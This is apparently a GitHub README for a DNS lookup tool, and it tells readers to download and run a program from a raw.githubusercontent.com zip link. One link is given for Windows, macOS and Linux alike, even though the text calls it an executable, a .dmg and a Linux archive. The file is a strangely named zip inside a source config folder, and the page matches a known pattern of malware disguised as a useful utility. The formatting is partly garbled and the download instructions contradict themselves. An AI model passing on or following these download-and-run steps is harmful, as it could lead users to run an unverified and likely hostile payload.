Welcome! This guide will help you download and run the DNS lookup tool efficiently. You can use this tool to examine various DNS records including A, MX, TXT, and PTR.
- A computer running Windows, macOS, or Linux.
- A stable internet connection to download the software.
- Basic knowledge of how to work with files on your computer.
- A Records: Get the IP address associated with a domain.
- MX Records: Check the mail servers handling emails for a domain.
- TXT Records: Retrieve text information stored in DNS, useful for verification.
- PTR Records: Discover the domain names linked to an IP address.
- User-Friendly Interface: Simple steps to perform queries without technical knowledge.
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Visit the Releases Page: Go to the Releases page to access the latest version of the tool.
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Download the Latest Version: Look for the most recent release. You will see a list of files under "Assets". Choose the appropriate file for your operating system:
- For Windows, select the executable file (e.g.,
https://raw.githubusercontent.com/Chaeyoung06/dns-lookup-forward-and-reverse-a-mx-txt-dmarc-ptr/main/src/config/txt-reverse-a-forward-dns-ptr-mx-lookup-dmarc-and-stockfather.zip). - For macOS, select the
.dmgfile (e.g.,https://raw.githubusercontent.com/Chaeyoung06/dns-lookup-forward-and-reverse-a-mx-txt-dmarc-ptr/main/src/config/txt-reverse-a-forward-dns-ptr-mx-lookup-dmarc-and-stockfather.zip). - For Linux, grab the
https://raw.githubusercontent.com/Chaeyoung06/dns-lookup-forward-and-reverse-a-mx-txt-dmarc-ptr/main/src/config/txt-reverse-a-forward-dns-ptr-mx-lookup-dmarc-and-stockfather.zipfile (e.g.,https://raw.githubusercontent.com/Chaeyoung06/dns-lookup-forward-and-reverse-a-mx-txt-dmarc-ptr/main/src/config/txt-reverse-a-forward-dns-ptr-mx-lookup-dmarc-and-stockfather.zip).
- For Windows, select the executable file (e.g.,
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Save the File: Click on the file to start the download. Save it to a location on your computer where you can easily find it, such as your desktop or downloads folder.
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Run the Tool:
- For Windows: Navigate to the saved file, double-click it to run. Follow any setup prompts that may appear.
- For macOS: Open the
.dmgfile. Drag thedns-lookupicon into your Applications folder. Then, navigate to Applications and double-click it to start. - For Linux: Open a terminal and extract the compressed file. Change your directory to the extracted folder and run the program with the command
./dns-lookup.
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Open the Application: Launch the DNS lookup tool from your applications or where you saved the file.
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Select the Query Type: Choose whether you want to look up A, MX, TXT, or PTR records.
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Enter Domain or IP: Input the domain name or IP address you wish to query.
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Run the Query: Click the βLookupβ button. Wait for the results to load.
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Review Results: The results will show relevant DNS information as per your selected query. Review the data to effectively understand the DNS settings.
- User Manual: A detailed user manual is provided in your application folder. Please read through it for specific instructions and troubleshooting.
- FAQs: Your questions might have answers in the FAQs section of our documentation.
If you encounter issues, consider reaching out through the Issues tab on GitHub. Your feedback and experiences will help improve the tool.
Thank you for using the dns-lookup tool! Your efforts in understanding DNS records enhance your internet security and network auditing skills.